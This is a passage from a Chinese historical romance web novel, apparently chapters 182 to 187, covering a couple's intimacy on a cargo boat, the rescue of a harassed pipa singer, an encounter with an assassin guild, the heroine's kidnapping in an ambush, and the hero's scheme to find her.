他刚要亲上去,却见眼前书页一闪,直接一口亲在了《狸猫娶亲记》上。
她拿书挡在二人脸中间,声音低得像小猫嘤嘤:
“你别……你再那啥……我就不要和你待在一块了……”
不等他说话,她又小声抱怨:
“从前怎么没发现你这么……这么……”
看着她在这辈子最陌生的领域,乱七八糟满肚子找词,他干脆接过话:
“这么色胆包天?这么荒淫无度?这么沉湎淫逸?”
“别说啦别说啦!”她赶紧堵住耳朵,脸已经红透。
他哈哈大笑,随即收敛所有笑容,一把将她放倒在榻上,低头吻了下去。
不管她如何挣扎,小拳拳捶打他的肩膀。
他只一手扶着她的腰,另一只手捉住她的手,不管不顾地吻着。
她轻轻偏头,想要闪躲,他便像那认定小白兔的大灰狼,唇齿如影随形地跟着她,一丝一毫都不肯离开。
感觉到他身体某些不同寻常的变化,她顿时一惊,挣扎的幅度大起来,嘴里还想说些什么,却只能发出呜呜咽咽的声音。
他终于停下来,喘着粗气,目光幽深地看着她,声音低哑:
“琛儿,你莫动……你若再这样动来动去,我可真不忍了……”
她傻傻地看着他,并不完全明白他的意思。
他再次缓缓贴近,唇齿相依,轻尝慢吸,柔声哄道:
“我保证只到此为止,你别动,好不好?”
她紧张得脑袋发晕,根本顾不得回答。
他也不需要她的回答,只细细地吻,慢慢地吻,深深地吻。
不知过了多久,直到她感觉脑袋发晕,呼吸急促,他才终于满足,舍得离开那两片微微肿起的艳红。
俯身在她上方,他轻轻抚摸她的小脸,笑道:
“这回比上回好多了。”
比上回少了许多紧张,身子软了些,唇齿也张得开了些。
大约下回便能知道回应。
再下回便能真正体会到亲吻的甜味。
下下回……再下下回……他便能知道,如果这张小脸红起来,蹙眉轻恼,这双明净的眼睛水汪汪的,会不会好看得要命……
调教需得慢慢来,他有的是耐心。
不过有一件事,他属实是没有耐心了。
他躺下身,将她揽进怀里。
她红着脸,闪躲着一双晶亮又羞怯的目光,找了个最舒服的姿势靠过去。
“以后不许喊我‘霍大哥’,没人的时候,也不许喊我‘少主’。”
“那喊你什么?”
他坏笑着拿鼻尖去找她的唇,“你好好想想,若想不出来,便再来一次,你指定能想到。”
她急急闪躲,在他怀里蜷成一团,将脸整个埋进他胸口,模模糊糊叫了声“阿念”。
他直接倾身趴在她后背,一边蜻蜓点水地吻她,一边故意问:
“叫什么?没听清。”
她将头微侧,露出半张带着娇羞笑意的脸,清晰地叫了一声:
“阿念哥哥。”
他立时身子一紧,感觉浑身骨头都要酥了,几乎要控制不住地彻底扑上去。
“发乎情,止乎礼……发乎情,止乎礼……”
他一边不停默念,一边快速起身拉开房门,朝净房走去。
“你去哪里?”云琛坐在榻上问。
他头也不回,只道:
“‘阿念’即可,后面俩字别着急带,我受不了。”
在净房待了许久,再出来的时候,他眉眼染着她从未见过的慵懒松懈。
他上榻拥住她,幽怨地叹了口气。
本以为这样,接下来几日便能好好太平度过。
可偏偏刚一入夜,她便将头发松散开。
如墨长发圈着嫩白的脸,一双小鹿眼睛懵懂、却又勾魂似的朝他笑。
她换上白色的寝衣,面容也像那棉麻一样纯洁柔软。
他盯着她前襟的系带,他知道最多两层,最多一眨眼的功夫,他就能将她剥个精光。
一想到这里,他就感觉刚刚压下去的那股火,又腾腾烧了起来。
她浑然不知,只窝在他怀里,拿出一本《浣花溪》,对着灯盏和小窗翻看。
故事很老套,不过是一个富家小姐爱上穷书生的故事,他用脚趾头猜猜都知道,肯定又是哪个穷酸书生写的玩意儿。
他没兴趣看书,只心猿意马地陪着她翻页。
因为坐着也比她高许多的关系,从他的角度看下去,能清楚地看见她微微张开的衣领,还有白皙平直、看起来就很好嘬的锁骨……
努力控制,再控制,他不停地深呼吸。
她却以为他是嫌看书太慢,有点不耐烦,便快速翻动起书页,一下就从“穷书生带着富家小姐私奔”,翻到了“二人私定终身洞房花烛坦诚相见”。
赤裸裸的画面呈现在二人眼前,她“啪”地一声将书合起来,慌忙去拿另一本。
但来不及了,那画面已清清楚楚印在他脑子里。
完了,忘记给船长说,所有书都要删减版的。
下一刻,不知怎么,他整个人就压在了她身上,语气带着可怜巴巴的央求:
“再亲一下,就一下……”
月光从小小的窗子里照进来,洒在她长长的黑发上。银光纯白美极,他却陷在柔软绵长里,根本顾不得去瞧。
感觉这辈子所有意志力都用在控制这件事上了,等他终于偃旗息鼓作罢,月亮也被两片薄云朦胧遮住,好似没眼看。
她坐起身,低着头整理蹭乱的衣襟。
他便从身后拥着她,一点点替她梳发。
在摸到她脑后短短一簇新长出来的头发时,他手中一顿,目光变得晦暗。
知道他在心疼什么,她轻声道:
“阿念,我喜欢做你的护卫——我喜欢在你身边。”
他深深拥住她:
“我也是你的护卫——你唯一的护卫。”
第183章 琵琶娘子
货船静静行驶向天狼城。
从货房的小窗子看出去,能瞧见碧波粼粼的水面,天青粉黛的山峦。
除非四肢酸痛得厉害,才起来活动片刻,剩下的时间,霍乾念都是和云琛相拥坐在榻上。
天晴时,日光盛暖,两人靠在一起看霍乾念人工手动删减的小人书和连环画。
阳光暖暖地洒在发顶,晒得人暖洋洋。
船靠岸卸货时,霍乾念会偷偷将手从小窗伸出去,抓两把淤泥,和云琛一起捏泥人。
捏完泥人又捏小房子、小桌子、小凳子……
最后,霍乾念会捏出一张贼大的床,将两个泥人放上去,紧紧地上下摞在一起,头都黏住分不开。
“为啥泥人总要在榻上这个样子?”云琛问。
“那换桌上?椅子上?秋千?树林子?我都可以,看你。”霍乾念答。
“你混蛋!”
“我只对你混蛋。”
等过家家玩够了,霍乾念会将泥土搓成点子,瞅准正在岸边卸货的船长,精准地将泥丸扔进船长的后衣领子。
瞧船长摸着衣领,一脸疑惑扭头四顾的样子,云琛捂着嘴笑倒在榻上。
偶尔阴天下雨时,小雨从窗子里飘进来,微风凉凉惬意,二人便相拥着午睡。
就这么安静又亲密,只两个人在这偌大天地间的小小货房里。
没有差事,没有刺杀,没有意外,没有任何人打扰。
霍乾念第一次感受到什么叫“岁月静好”。
无须鲜花美景,也无须金银财宝和权势地位,只要拥着云琛,从那小小的窗子里看太阳东升西落,看星月争辉,便是他有生以来最宝贵的。
财富与权力,真的重要吗?值得云琛和自己一起搏命吗?
有那么一瞬间,这样的疑问从霍乾念脑海一闪而过。
他刻意不去想那么多,只贪婪地沉浸在和她独处的每一个瞬间。
只不过宁静总是短暂的,很快,货船即将靠岸彗星城卸货。
船长启开货舱的锁,招呼霍乾念和云琛上甲板透风。
这一路过来,一开始,货船的老板还时常启开舱门,喊一嗓子“二位公子,可以上甲板啦——”
但见那二人自从钻进货房,就没有一丁点要出来的意思,甚至好几次打开门,都能听见两人的笑声,一点没有憋闷的样子。
船长干脆不打扰,直感叹霍乾念说的什么,他二人乃是不为家族接受的不伦龙阳恋,所以才偷渡行路,竟然是真的。
但时间一长,云琛有点憋不住。
今日舱门打开,她率先跑出去,站在甲板上伸了个酸爽的大懒腰,一脸久违的享受自由的模样。
霍乾念倒还恋恋不舍的样子,频频回头看那小货房,颇有不想出来的意思。
货船逐渐靠近彗星城码头,远远望去,可以看见岸上有长长的河鲜集市,采买的人们摩肩接踵,十分热闹。
离货船不远处,几艘大小不一的客船也慢慢靠近,暂停在货船后面,等待排队靠岸。
码头上没有巡逻官兵,霍乾念便与云琛正大光明地在甲板上吹风,突然听到离货船最近的一艘客船上传来一阵嘈杂声。
云琛好奇地看过去——
一艘豪华客船正下锚停在水面。
客船甲板上,一位华服公子坐在太师椅上,一大群护卫聚集在旁,正朝一个方向大声笑闹起哄。
那群护卫越闹越大声,不停地大笑吹口哨,引得周围的船只人群都纷纷看过去。
忽然,一道纤弱身影从人堆里跑出来,爬上高高的船舷,急声大喊:
“光天化日之下!你们想怎样?!”
人群哄笑,一个护卫轻薄笑道:
“小娘子发什么脾气,不过是请你入内室给我家公子唱两曲,钱不是问题!”
那纤弱身影忍着哭腔,怒道:
“我是清白女子!卖唱只在外!不入内室!你等休要侮辱!”
看着这小小女子拼命反抗的模样,护卫们好似更来了兴致,一个护卫竟大着胆子上前,作势要去搂抱。
“别碰我!”那纤弱身影惊恐大喊,虽然已经怕急,但还是毫不犹豫地举起手中琵琶,狠狠挥击向那护卫。
那护卫压根没想到一个弱女子会还手,一时反应不急,直接被打在头上,身子一趔,整个人都被打懵了。
“妈的,不过是出来卖的,卖唱和卖身有什么区别!抓起来!”
不知是谁说了这么一句,所有护卫立刻蜂拥而上,如狼群一般扑了上去。
那纤弱的身影惊叫着挥动琵琶。
可即使琵琶连连击打在男人们的肩膀上,被打得粉碎,对习武的男人们来说,也不过是挠痒痒,阻挡不了越靠越近的脚步。
最后,已经碎裂的琵琶被一把抓走,男人们的笑声更加肆无忌惮。
那纤弱的身影绝望无助,竟转身一跃,直接投向河中。
甲板上顿时一片惊呼,那群护卫面面相觑,却没一个人下去救人。
一个护卫甚至还将身子探出船舷,挥舞着手里残破的琵琶,大声笑道:
“知罗小娘子——你走这么快,琵琶忘拿了——”
“哈哈哈哈哈哈——”甲板上的众人再次哄笑。
再看水中,知罗挣扎两下,缓缓沉入水底,再没了动静。
云琛与霍乾念对视一眼,“是知罗姑娘!救不救?”
若换平时,从第一个护卫吹口哨开始,云琛的脚就已经招呼在对方脸上了,怎能纵一群大男人这样欺负一个女子。
可如今是在昭国,肩负着机密要紧的大差事,云琛不敢贸然行动。
瞧着云琛面上征求他的意见,实际脚已经在甲板上小碎步摩擦,预备了好半天的样子,霍乾念失笑。
他虽心里有一丝疑虑,怎么那么巧又遇见知罗,但还是道:
“若不想走漏身份,我倒是有一个很简单的法子——动手吧!”
霍乾念话音刚落下,云琛便如离弦之箭般弹射出去,一头扎进水里,飞速朝知罗游去。
另一边,霍乾念轻功跃上客船,立刻将最近的两个护卫踹倒。
三四个被踹下水的,四五个被打断腿的,六七个胳膊折了疼得大喊见鬼的。
不消一刻钟,霍乾念就将客船上的护卫“料理”得七七八八,倒了一大片,还有一部分在水里扑腾着喊救命。
将所有人干趴下,便没人有力气追究,这就是霍乾念说的最不容易走漏身份的办法。
等霍乾念打倒几十个护卫,只剩那一脸纨绔像的华服公子,惊恐地缩在太师椅上喊救命的时候,云琛已抱着知罗爬上船。
霍乾念打得一头汗,扭头看去,云琛正在十分卖力地嘴对嘴给知罗渡气。
咬了下腮帮子,霍乾念抬腿一脚,狠狠将那华服公子踹下椅子。
渡了七八口气之后,知罗终于吐出一大口水,咳嗽了好一阵才平息。
意识慢慢清醒,知罗这才发现自己正靠在云琛怀里,一双干净又充满关切、没有一丝轻薄之意的眼睛,正专注地望着她。
第184章 熟人
睁开眼,对上云琛近在咫尺的俊容,知罗脸一红:
“多谢公子救命之恩,小女子无以为报……”
云琛扶着知罗起身,得体地松开手,“姑娘没事就好。”
知罗却又继续道:
“小女子无以为报,愿伺候公子左右,以报救命看顾之恩,还有……渡气之情……请公子允许。”
云琛连连摆手,也红了脸,从旁拾起已只剩个琴颈的琵琶,惋惜道:
“举手之劳,无须姑娘大谢,姑娘平安就好。只可惜这琵琶怕是修不好了。”
“小女子常年辗转在外唱曲谋生,本来想趁乞巧节将至,四处唱一唱,谁知乘船而来,一路上被浪荡子骚扰,实在……若无公子施以援手,小女子只怕和这琵琶一般,连命都没了………公子就应了吧,让小女子报答您。”
“你孤身在外不容易,却也自由自在,若与我一起,便是既不容易,又不自在。姑娘心意我承下,但不敢拘姑娘清白。”
二人你一言,我一语,都微微红着脸,聊得十分热络,直接将霍乾念晾在一旁。
你俩是在相亲吗?!
这句话霍乾念生生咽在肚子里,努力安慰自己心态别崩!别崩!
四顾看去,码头上的船只越来越多,许多人都趴在船舷上,往客船这边看热闹,霍乾念对云琛道:
“人多眼杂,不宜久留,如果被人认出来就不妙了,我们走吧——”
那个“吧”字还没说完,一个声音忽然在不远处响起,带着十足的挑衅:
“大名鼎鼎的楠国首富,一人之下万人之上的霍帮第九代大宗宗子,玄甲传奇猛将霍雷霆之子,霍帮现任家主霍乾念——没想到能在这里遇见霍少主英雄救美,有趣有趣。”
云琛循着声音看过去,报霍乾念户籍本的是一个身穿青衣武服的年轻人。
瘦高个,吊梢眼,眼角还有一道很明显的刀疤,长得就跟妖狐狸成精似的,颇为诡气。
他身旁还跟着十几个服制统一的男人,不像随从,更像与他平起平坐的同伴。
他们站在霍乾念与云琛搭乘的货船上,所有人都佩着刀,看起来像护卫,却又比一般更威风猖狂的样子。
船长一脸畏惧,捧着货物清单站在一旁,看来正是给这群青衣武服的男人们送货的。
没想到霍乾念和云琛为了避人耳目,特意买通货船偷偷行路,却偏偏碰上个能背出霍乾念家祖宗十八代的“熟人”。
只是“熟人”认识霍乾念,霍乾念却不认识这“熟人”。
直到船长打开一件捆绑严密的货包,捧出一大卷上乘又昂贵的大红色布料,又推出一车好酒奉上,霍乾念和云琛才终于知道这帮人是谁。
十万金买一条命,只出手一次,杀不死目标便杀死雇主。
标志性的红衣,卓绝狠厉的绝世武功。
天下最奇特、最严密、最神秘也最令人闻风丧胆的杀手组织:
无义血卫。
一整船的红布绸缎,特意从紫薇洲最昂贵的布行运来,给血卫们做服制。
除了杀人办差的时候穿红衣,其他时候,血卫们都穿着青衣武服,以掩饰身份。
而霍乾念作为无义血卫有史以来,唯一逃走并害的无义血卫反杀雇主的目标,自然名号响彻每个血卫双耳。
据说,霍乾念的画像就挂在无义血卫的宝殿正墙上。
每个拜进无义血卫门下的新人,都要聆听一番霍乾念逃走的事迹,记住这砸无义血卫招牌的耻辱。
所以无义血卫人人都认得霍乾念,都等着再有人愿意出十万金,买霍乾念的命。
这种感觉很奇怪,算不上无义血卫和霍乾念有私仇。
只是有雇主花了十万金杀霍乾念,却没杀成,逼得无义血卫反杀雇主。
某种程度上说,无义血卫变相替霍乾念报了仇,算是对霍乾念有“恩”。
可当年害得霍帮死伤殆尽,霍乾念摔下悬崖断了腿的,也是无义血卫。
如果将无义血卫比喻成一把锋利淬毒的刀,这刀的主人可以是任何人。
这刀也能伤任何人,包括持刀者。
但冤有头,债有主,谁会和刀置气呢?
云琛和无义血卫交过两次手,知道对方实力很强,一个最低等的血卫都能令她杀得十分辛苦。
而眼前这帮青衣男人们,不知在血卫中是什么级别,但能确定的是,如果在这里动起手,霍乾念和云琛的胜算不高,并且极其引人注目。
即使如此,云琛还是出于护卫本能,习惯性不动声色地打量每个人,将对方身形、人数、武器配备、站位分布等暗记心中。
云琛打量血卫们。
血卫之中,也有一人在打量她。
那人虽站在血卫们最后面,但旁边人看他的眼神都十分恭敬。
他看起来约莫二十七八岁,身量高挑,面容颇俊,神情冷寂不善,看着比其他血卫更为桀骜不驯,正眼神古怪地望着云琛。
霍乾念瞧了瞧穿着青衣的血卫们,知道这船不能再坐了,得选别的路继续走,便自顾跳上货船,拿起和云琛的包裹,没什么表情地看着那背霍乾念户籍本的血卫:
“十万金买命,多少金买你闭嘴?”
那血卫从怀里掏出一张散发着浓浓香烛气味、通体画着金色符咒的红色信纸,笑道:
“好说好说,霍少主如需雇佣无义血卫办差事,月圆之夜当空焚烧此纸,大念一声‘福生无量,位列仙班,长生不老,永葆青春’即可。价钱好谈。”
霍乾念没有动,只是冷眼看着。
云琛也从客船上轻功而来,落定在货船上,接过那血卫手里的红纸,认真地问:
“‘福生无量,位列仙班’后面一句是啥?你再说一下。”
这时,旁边那一直用古怪眼神打量云琛的血卫开口:
“长生不老,永葆青春。”
这样一句荒诞又不正经的话,从那人嘴里认真说出来,颇为滑稽好笑。
云琛看过去,又问:“念一遍就行吗?”
“嗯。我是‘山寂’,以后你可以找我办差。”
面对这没头没脑的一句话,云琛不知该怎么回答。
她第一反应就是自己哪有十万金,也没有什么事值得她花那么多钱。
霍乾念不愿与这帮不讲正邪的家伙多打交道,拉起云琛的手离开,轻声道:
“云琛,我们走吧。”
听见这句,那名叫“山寂”的血卫脸上看似没有什么,却瞳孔骤然紧缩,目光瞬间移向云琛和霍乾念相牵的手上,眼神更加古怪。
霍乾念与云琛跳上码头离开。
不知为何,云琛总忍不住回头去看山寂,却见山寂也正遥遥望着她。
那古怪的眼神中,好似添了一抹说不出的孤独与落寞。
第185章 中计
借兵之事干系重大,一旦有人在昭国发现霍乾念,便很容易猜到楠国“借兵”的计划。
若楠国内部那联合三方势力伐楠的奸细之流知晓此事,借兵之事必然要黄。
肩负如此绝密重责,霍乾念和云琛一路行来,看谁都不像好人。
云琛还好,她对男人戒心很高,对女子防备心倒不重。
实在是因为女子几乎没有抛头露面在外的,否则她这些年也不需要女扮男装那么辛苦。
而霍乾念则是在路边茶肆休息的时候,看只狗都目露凶光。
可偏偏一路低调行事,却为了救知罗,闹出不小的动静,又被无义血卫碰个正着,点名点姓地叫出了“霍乾念”的名字。
这下只能暂居彗星城,另想法子行路了。
霍乾念心情不太好,思虑重重,再去看知罗时,眼珠子上都写着“我怀疑你你最好小心点”,有时甚至用审视的目光盯得知罗颇为尴尬。
云琛虽然觉得知罗不太像什么奸细刺客,但做了这么多年护卫,她的警觉性不会差,心里也存着一丝疑虑。
为报云琛在码头上的救命渡气之恩,知罗原本誓要追随服侍。
在云琛好说歹说之下,知罗才终于放弃,却从码头一路跟随而来,说什么也要请云琛和霍乾念用宴表示答谢。
说是宴,不过是找间食肆,选张安静桌子,摆上四菜一汤。
霍乾念吃了几口就放下筷子。
云琛则十分捧场地吃了许多,还轻轻碰一下霍乾念的胳膊,低声道:
“女子在外卖唱不易,没什么银钱买贵菜,你将就一下吧。”
霍乾念盯着知罗,目光不定,压低声音回应:
“在太白城遇到过,又在这遇到她同船,我怎么想都觉得这‘两度偶遇’太蹊跷。”
云琛想了想,“确实,但世间多有训练飞禽走兽、孩童和刺客杀人的,以女子身份行事的实在太少。昭国虽然比楠国民风开放,依然鲜有女子抛头露面,太显眼了些。”
霍乾念知道云琛说的在理,那知罗也是身形纤弱,神色温柔,举止得体地坐在那里吃饭,端端是副小女子的模样。
可霍乾念总觉得不太对劲,他总是能从知罗那一身令人怜惜的温柔中,察觉到一丝锋芒。
从来霍乾念只在云琛身上感觉到过——
那是一种明明骨子里是水做的,却又凛冽如深秋清泉的气质。
温柔又坚定,纯粹又锐利。
这种复杂又耐人细细品味的感觉,云琛藏在一身女扮男装下面,不可抑制地散发出来,吸引着人靠近和探究。
知罗仿佛将锋芒藏在那小小琵琶下面,而且掩藏得极好。
琵琶坏了,没有这样一件最显女子柔弱风情的道具在,霍乾念才第一次察觉到那微微的不同。
他仔仔细细去看知罗——
不过是身形细弱,面容普通,走路不重,不像习武的步伐。
手指有薄茧,但看起来和拿刀剑磨出的不同,更像是常年弹琵琶所致。
不知是不是常年流落在外卖唱的缘故,霍乾念总觉得这知罗笑起来贼眉鼠眼的,像是颇有心机的样子。
看得警惕,想的入神,霍乾念不觉一直盯着知罗的脸。
等他回过神的时候,云琛已起身准备往外走。
知罗跟着站起来,道:“为谢公子救命之恩,小女子想去买把新琴,为二位公子唱一曲。”
云琛朝霍乾念使眼色:
“天黑不安全,我去陪知罗姑娘买琴,去去就回。”
霍乾念想阻拦,云琛却靠近他低声道:
“我找个人少的地方试探她一番。”
应当是霍乾念这个大男人去试探才对,可知罗是女子,到底是云琛更方便些。
霍乾念只能作罢,眼睁睁看着云琛与知罗有说有笑地走远。
云琛觉得,如果知罗真的是前来阻拦霍乾念借兵之事的歹人,那目标一定锁定在霍乾念身上。
将知罗带离霍乾念身边,她便容易降低警惕,露出马脚。
从客栈出来,打听好一处卖琴的地方,云琛与知罗寻着走去,期间有一段路,恰要穿过彗星城的夜市。
昭国没有宵禁,像彗星城这样的繁华城市,总是彻夜灯火通明。
各种各样的食肆、果铺、糖水摊子……摆满一整条街,烟火缭绕间,人声鼎沸,十分热闹。
夜市人多,来来往往总会碰到,云琛一边手臂悬揽在知罗身侧,护着过往男子不要碰到知罗,一边不动声色打量知罗一举一动,仔仔细细去看——
身形如杨柳依依,腰肢纤细又轻盈,知罗面容姣好,笑起来时得体又温柔,一双美目善解人意,漂亮得令人挪不开眼。
走到一处小吃摊前,知罗柔声道:
“这有酸角糯米饭、醋汁蟹、山楂糕,要不要买些给霍公子吃?我瞧他刚才吃得不多,肯定是我点的菜不好,买些酸食给霍公子解解味吧!”
这么贴心!实在不像歹人!
云琛心里说着,手里赶紧掏钱买下。
二人穿过夜市,从大路走到小路,转了几个弯,终于看见一间琴坊。
琴房不大,就两间屋子,挂满了各种成色和材质的琵琶,人与物一览无遗,云琛便没有随知罗一起进去,只在外面等着。
知罗挨个看过所有琵琶,连连摇头,并没有看到心仪的。
掌柜便极力邀请知罗去里间再看看,说是有几把上乘的大叶紫檀琵琶,因为太贵,便没有挂出来展示。
知罗犹豫地看向云琛,似乎将已云琛当成主事的,征求云琛的意见。
这让云琛心里顿时升起护卫小小女子的责任感,她拍拍腰间的匕首,对知罗笑道:
“你且去,不着急,我就在这等着你。”
知罗含羞而笑,随掌柜进入里间。
云琛看着知罗脸上两团小小红晕,心说不妙不妙,千万别又惹出第二个“霍阾玉”。
在外间等了一会儿,知罗还没有出来,云琛却敏锐地察觉到四周有点不对劲。
琴房在偏僻的城角,但离夜市不远,她与知罗方才来的时候,周边还行人三三两两。
这会才一刻钟过去,四周竟出奇地安静,一个行人都没有。
她后脖子上的汗毛没由来地竖起,多年的护卫经验告诉她,这安静有问题。
她抽出靴子里的匕首,背对琴坊靠向大门,准备进里间招呼知罗赶紧离开。
一边退,她一边凝神去听。
正要走进去时,突然,一道黑影从眼前快速闪过。
她下意识举起匕首,脚下做好防御准备。
那黑影却没有跑远,而是停在不远处,回头看向她——
云琛心里奇怪,想看个清楚,但路两旁没有灯笼,光线昏暗,她只能瞧见一条毛茸茸的大尾巴轻轻摇摆,还有两只绿莹莹的小眼睛。
好像是条大黑猫?
她歪头打量那猫,那猫也歪头打量她,接着竟然两条后腿直立起来,像个人一样站着。
她慢慢放下手中匕首,嘴里发出“啾啾”的安抚声,轻手轻脚地向猫走去。
走近以后她才发现,这根本不是猫,而且一只罕见的纯黑色长尾雪貂。
雪貂多以白色和棕色居多,黑色的极其罕见。
那貂儿保持站立,两只小耳朵精神地竖着,小眼睛滴溜溜一转,轻轻抽动鼻子,凑到她提的那一堆吃食跟前,指指食物,朝她作了个揖。
简直心都要被可爱翻了,她连忙去解捆糕点的麻绳和油纸包,时不时摸两下毛茸茸的雪貂,在那期待又可怜巴巴的眼神注目下快速拆点心。
她完全将戒备心抛之脑后,忘了还有个啥罗的在琴坊里没出来。
她急着给雪貂掰螃蟹,手上一时忙乱。
等匕首“当啷”一声掉在地上,她回过神时,那雪貂立马叼起匕首掉头就跑。
她大感不妙:“糟了!中计了!”
果然,紧接着,一张铁索软网忽然从天而降,将她整个人死死网住。
第186章 绑架“老虎”
一张铁索软网突然从天而降,几道人影落定在四周。
在网子落下来的最后一刻,云琛翻身贴地,以背对网,快速抽出头上束发银簪,簪尖穿过铁索网眼,狠扎进地里,大力扭转起来。
银簪带动铁网迅速旋转,粗糙坚硬的铁索狠狠划过云琛后背,立马划出数道血痕。
只一眨眼的功夫,铁网整个被扭成一团,云琛瞅准一角空隙打滚冲去,掀开网沿,飞身而起。
一切都发生在短短一瞬间,旁边几人甚至都没来得及反应,云琛就已经从铁网下逃出来了。
只剩铁网缠绕成一大团“铁球”,上面还挂着几缕云琛的头发,隐约可见发根带血。
几人之中,一个带着方言口音的少年声音惊道:
“额滴娘!俺家这传家铁索从来没人能逃过!你这家伙也太、太、太不要命了吧?!”
云琛扫了眼四周——
八个人,为首的是个大胡子,旁边站着一个说方言的少年,还有六个高壮的汉子。
八人将云琛包围其中,都一副惊愣的表情,似乎第一次见到云琛这么狠的角色。
大胡子对少年使了个眼色,其他六人也立刻会意,同时朝云琛扑过去。
那银簪被铁网卷在最里面,且已弯曲不能再用,云琛手里没有武器,只能抡起地上的吃食凌空飞舞,朝来人狠狠打去。
一时间,只见酸角糯米饭满天横飞,八个人被打得满头满脸都是白米粒,浑身冒醋味。
很快,糯米饭打完了,醋汁蟹也打散了。
云琛抓起一根螃蟹的大钳,握在虎口中充作武器,虽杀不了人,甚至都不出血,但以她的功夫拳脚,那力道足以让人吃不了兜着走。
那说方言的少年后脑勺挨了一蟹钳,登时惨叫一声,捂着脑袋躺在地上直打滚,哀嚎道:
“娘咧!俺这辈子都没想过被螃蟹扎死!”
为首的大胡子赶忙过去查看,见少年后脑勺高高血肿,不由倒吸一口凉气,大喊:
“兄弟几个上!杀猪!!”
几人立刻分别扑向云琛四肢,两人抱大腿,两人抱胳膊,一人抱着腰,使出农村常用的杀猪捆绑大法,将云琛固得动弹不得。
只可惜,这几人显然忘了很重要的一点:
在绝对的力量面前,一切技巧都是浮云。
云琛师承曾经楠国第一高手,那带着内力的拳脚力量岂是一般人能比?
大胡子浑然不知,见云琛终于动弹不得,还咧嘴笑得十分开心。
他毫无防备地走上前,刚想说话,却被云琛狠狠一头撞在脸上。
“哎呦!”大胡子痛得大叫,捂着鼻血踉跄后退。
固定着云琛的几人循声看过去,不觉手上力气微松,给了云琛一丝可乘之机。
抓住机会,云琛摆动四肢,使出泰山压顶,重重向后倾倒,直接压在那抱她腰部的汉子身上,竟令其一口酸水喷出,差点把隔夜饭都吐出来。
其他几人也都被云琛动作带倒,没什么施展拳脚的空间,登时胡乱打作一团。
“哎呦!疼疼疼!”
“你特娘打我干啥!”
“误伤我了!”
“快撒开!”
除了云琛咬着牙拼命,其他几人都被打得呲哇乱叫。
混乱之间,夜色又浓,不知谁的黑手伸进了云琛前胸衣襟。
只感觉胸前一摸、一软、一空,云琛登时头皮一麻,大喝“还给我!”而后没命地挥起拳头。
见云琛彻底发狠,大胡子赶紧招呼一声“见好就收!”
八人立刻拔腿就跑,云琛从后紧追不舍。
一群黑影在夜幕下狂奔不止,过街穿巷,翻墙跳顶,一直跑到穷巷才停下。
巷子尽头,三面都是极高的围墙,垂直平坦,无处借力。
八人几次尝试蹬墙翻越却不能成,只得放弃,撑着膝盖剧烈喘气。
大胡子擦擦鼻血,骂道:
“你特娘……带的什么路?带到死胡同?”
方言少年累得胸口剧烈起伏,指着对面不紧不慢靠近,大气都不带喘一下的云琛,哀怨道:
“这家伙追得太紧了……俺……俺心里害怕啊!俺可不想死在这……一慌就跑错了……”
大胡子一脸恨铁不成钢,抬手想给那少年脑袋一下,却想起少年脑袋后面还有个大血包,只能改为捶肩膀,气道:
“真丢人!真的!”
几人累得疯狂喘息,云琛也不着急,眼神四扫,从地上捡起块拳头大的石头。
她掂量着手里的石头,慢悠悠走近,问:
“刚才谁摸我?钱袋你们拿去,把那腰牌还给我。”
那是霍帮的最高令牌,丢了只怕麻烦不小。
八人面面相觑,互相摇头对眼色,表示不知。
云琛肃着脸,“我只问最后一遍,如果不说,我便杀了你们挨个搜身。”
看着这个能拿蟹钳杀人的家伙,八人都相信她不是在吹牛,绝对能拿手里那块石头送他们去见太奶。
一个被打的最惨的汉子哀怨道:
“搞反了吧?我们不是反派吗?咋变成被追的了?!”
大胡子道:“谁拿了人家的腰牌?赶紧还!”
还是没人站出来承认。
见说话不顶用,云琛点点头,道了个“好”字,然后举着石头飞冲而去,吓得八人惊叫连连。
大胡子大喊一句“能走几个是几个!”四个人立刻扎马步蹲下,另外四人助跑跃起,踩着其后背蹬上墙壁,一跃翻过墙,没命地跑远。
剩下四人与云琛打在一起,片刻便被揍得鼻青脸肿。
这时,空中传来一声“俺来也!”
那已逃走的少年和三个汉子去而复返,竟又拿着一张铁索软网从天而降,将云琛牢牢捆缚。
这一次,手里没有刀也没有簪子,云琛没能第一时间逃开,只感觉整个人被网住动弹不得,接着后颈一痛,彻底没了意识。
八人累得口鼻泛腥甜,互相搀扶着围靠在一起。
看着网子里的云琛,皆忍不住感叹:
“这家伙太吓人了……我们村抓只老虎都没这么费劲……”
“俺差点命都没了!差点点啊!!”
“八个人打不过一个?真服了,脸要丢到二里地了!”
“没事儿!咱努力捡回来!”
第187章 卖身为娼
原以为,如果有歹人来破坏借兵之事,一定会冲着霍乾念。
没想到会冲着云琛去。
当知罗急急忙忙跑回来,说云琛被八个彪形大汉绑架了的时候,霍乾念下意识捏碎了手里的茶盏。
锋利的瓷片扎得霍乾念满手是血,他却根本感觉不到似的,一把揪住知罗的衣领:
“你是饵!用来引云琛入局的!对吗?!”
面对霍乾念杀人一般的震怒神情,知罗拼命挣脱,又气又耻辱,直接吓哭:
“我到底哪里得罪你?竟要被如此轻薄无礼?!若不是为了我的救命恩人云公子,我才不会来同你报信!”
盯着知罗哭得梨花带雨的脸,霍乾念咬牙切齿,终是没有再说话。
他松开手,缓缓靠坐在桌边,眉头深皱,一双凤眼锐利无比,飞快地盘算起来。
报官?不可能。
保不齐今日在昭国报了官,连夜就有密信飞向楠国。
借兵之事若因此黄了,以南璃君必要出气才算完的性子,一定会怪罪到云琛头上。
自己去寻?不现实。
在昭国人生地不熟,彗星城里只有一个霍帮堂口,势力太微,不及本土大商……
霍乾念一遍遍让知罗描述云琛被绑架的情景,试图从中找到有用的线索。
可惜当时知罗正在琴坊里间挑琵琶,她听见打斗声跑出来的时候,云琛已经被绑走了。
那么,究竟是霍帮昔日旧仇报复,还是歹人破坏借兵之事?知罗又是否真的清白?
手边没有一个可用的人,实在是孤军奋战。
沉默许久,霍乾念最终敲定主意。
有这么一群人,既熟悉昭国,又拥有卓绝的行动组织力量。
既不依附于任何人,又已知霍乾念的身份。
无情无义,只认钱,不认人。
偏偏霍乾念最不缺的便是钱。
无义血卫。
这是霍乾念眼下最好的选择。
只是那唯一能联系到无义血卫的红纸在云琛身上,霍乾念需要用别的法子尽快找到无义血卫。
知罗并不知道霍乾念心中所想,只看到他的脸色深沉晦暗,好像黑云之后有锋利的雷电在翻滚,预备着惊动四野。
他说:“如果你真的想报答云琛救你的恩情,便为她做一件事。”
知罗心里生出不详的预感。
果然,霍乾念下一句话即令知罗如坠冰窟。
“我将你卖身为娼,如何?”
很快,街头巷尾开始流传:
